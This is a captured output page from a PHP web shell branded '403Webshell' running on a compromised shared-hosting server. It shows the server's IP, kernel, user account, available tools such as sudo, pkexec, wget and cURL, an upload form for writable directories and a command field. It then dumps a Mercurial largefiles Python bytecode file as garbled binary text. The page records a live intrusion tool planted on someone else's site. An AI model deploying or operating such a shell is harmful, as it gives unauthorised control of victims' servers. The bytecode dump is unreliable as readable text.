403Webshell
Server IP : 108.167.183.253  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux gator4209.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : raghunath ( 2558)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/largefiles/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/largefiles/__pycache__/proto.cpython-39.pyc
a

�+�b>�@s�ddlmZddlZddlmZddlmZddlmZm	Z	m
Z
mZmZm
Z
mZddlmZejZejZdZe	�	�Zd	d
�Zdd�Zd
d�Zdd�Ze�ed�dd��Zdd�ZdS)�)�absolute_importN)�_)�open)�error�	exthelper�httppeer�util�wireprototypes�wireprotov1peer�wireprotov1server�)�lfutilsa
This repository uses the largefiles extension.

Please enable it in your Mercurial config file.
cCsZ|����$}t�||�}t�tj�|��tj||j	j
d�}z�zZ|��D]}|�|�qH|j
�d�|t�|j
�kr�tdtd���|��t�||�Wnpt�y}zV|j�td�||jf�t�d|r�|��nd�WYd}~W|��Wd�Sd}~00W|��n
|��0Wd�n1�s60Yt�d|�rT|��nd�S)zcServer command for putting a largefile into a repository's local store
    and into the user cache.)�
createmoders$largefile contents do not match hashs,largefiles: failed to put %s into store: %s
r�N)Zmayberedirectstdior
Z	storepathr�makedirs�os�path�dirnameZatomictempfile�storerZ
getpayload�write�_fp�seekZhexsha1�IOErrorr�closeZlinktousercache�ui�warn�strerrorr	Zpushres�getvalue�discard)�repo�proto�sha�outputrZtmpfp�p�e�r%�</usr/lib64/python3.9/site-packages/hgext/largefiles/proto.py�putlfile$s2����4r'csZt�||�}|s"t�td�|��t|d��t�����d���fdd�}t	j
|�d�S)z\Server command for retrieving a largefile from the repository-local
    cache or user cache.s+requested largefile %s not present in cachesrb�c3s$d�Vt���D]
}|VqdS)Ns%d
)r�
filechunkiter)�chunk��f�lengthr%r&�	generatorRs
zgetlfile.<locals>.generator)�gen)r
�findfilerZAbortrrr�fstat�filenor	Zstreamreslegacy)rr r!�filenamer.r%r+r&�getlfileBs
�
r4cCs$t�||�}|st�d�St�d�S)a;Server command for checking if a largefile is present - returns '2
' if
    the largefile is missing, '0
' if it seems to be in good condition.

    The value 1 is reserved for mismatched checksum, but that is too expensive
    to be verified on every stat and must be caught be running 'hg verify'
    server side.s2
s0
)r
r0r	Z
bytesresponse)rr r!r3r%r%r&�	statlfileZs
r5cs&|j�G�fdd�d|j�}||_dS)NcsDeZdZ�fdd�Zejdd��Zdd�Zdd�Zejd	d
��Z	dS)z+wirereposetup.<locals>.lfileswirerepositorycs6��}|�d�r2|j�G�fdd�d|j�}||_|S)Ns
largefilescseZdZ�fdd�ZdS)zWwirereposetup.<locals>.lfileswirerepository.commandexecutor.<locals>.lfscommandexecutorcs|dkrd}�||�S)Nsheadsslheadsr%)�selfZcommand�args�Zorig_callcommandr%r&�callcommandqszcwirereposetup.<locals>.lfileswirerepository.commandexecutor.<locals>.lfscommandexecutor.callcommandN)�__name__�
__module__�__qualname__r9r%r8r%r&�lfscommandexecutorpsr=)Zcapabler9�	__class__)r6�executorr=�Zorig_commandexecutorr8r&�commandexecutorks
z;wirereposetup.<locals>.lfileswirerepository.commandexecutorcSs|j�|�S)N)�heads�	batchable)r6r%r%r&�lheadsysz2wirereposetup.<locals>.lfileswirerepository.lheadscSs�t|jtj�r�|jd||ddid�}z<|�dd�\}}|�d�D]}|j�td�|�q@t	|�WSt
y�|j�td	�|�YdS0nnz6|jd||d
�\}}|dkr�t�
td�|��t	|�WSty�YdSt
�y�t�
td
�|��Yn0dS)Nsputlfilezcontent-typezapplication/mercurial-0.1)�datar!Zheaders�
rTsremote: s!unexpected putlfile response: %r
�r!rsputlfile failed:s&putlfile failed (unexpected response):)�
issubclassr>rZ_call�split�
splitlinesrrr�int�
ValueErrorZ	_callpushr�
ResponseErrorr)r6r!�fd�res�dr"�l�retr%r%r&r'}s8�

�
�z4wirereposetup.<locals>.lfileswirerepository.putlfilec	ss�|jd|d�}|��}zt|�}Wn(tyJ|�t�td�|��Yn0tj	||d�D]
}|VqZt
|jtj�r�|�
d�}|r�|�t�td�|��dS)z<returns an iterable with the chunks of the file with sha shasgetlfilerGsunexpected response:)�limitrN)Z_callstream�readlinerKrLZ_abortrrMrrr)rHr>r�read)r6r!�streamr-r*r%r%r&r4�s �

�z4wirereposetup.<locals>.lfileswirerepository.getlfilecSsdd�}d|i}||fS)Nc	Ss*z
t|�WSttjfy$YdS0dS)N�)rKrL�urlerrZ	httperror)rPr%r%r&�decode�s
zEwirereposetup.<locals>.lfileswirerepository.statlfile.<locals>.decodesshar%)r6r!rY�resultr%r%r&r5�s
z5wirereposetup.<locals>.lfileswirerepository.statlfileN)
r:r;r<rAr
rCrDr'r4r5r%r@r%r&�lfileswirerepositoryjs
%r[)rAr>)rrr[r%r@r&�
wirereposetupgs^r\s
_capabilitiescCs|||�}|�d�|S)z$announce largefile server capabilityslargefiles=serve)�append)�origrr Zcapsr%r%r&�
_capabilities�s

r_cCst�|�rt�t�S|||�S)zTWrap server command - largefile capable clients will know to call
    lheads instead)r
Zislfilesrepor	Zooberror�LARGEFILES_REQUIRED_MSG)r^rr r%r%r&rB�s

rB)Z
__future__rrZmercurial.i18nrZmercurial.pycompatrZ	mercurialrrrrr	r
r�r
rXZurlreqr`Zehr'r4r5r\Zwrapfunctionr_rBr%r%r%r&�<module>s"$
�
e



Youez - 2016 - github.com/yon3zu
LinuXploit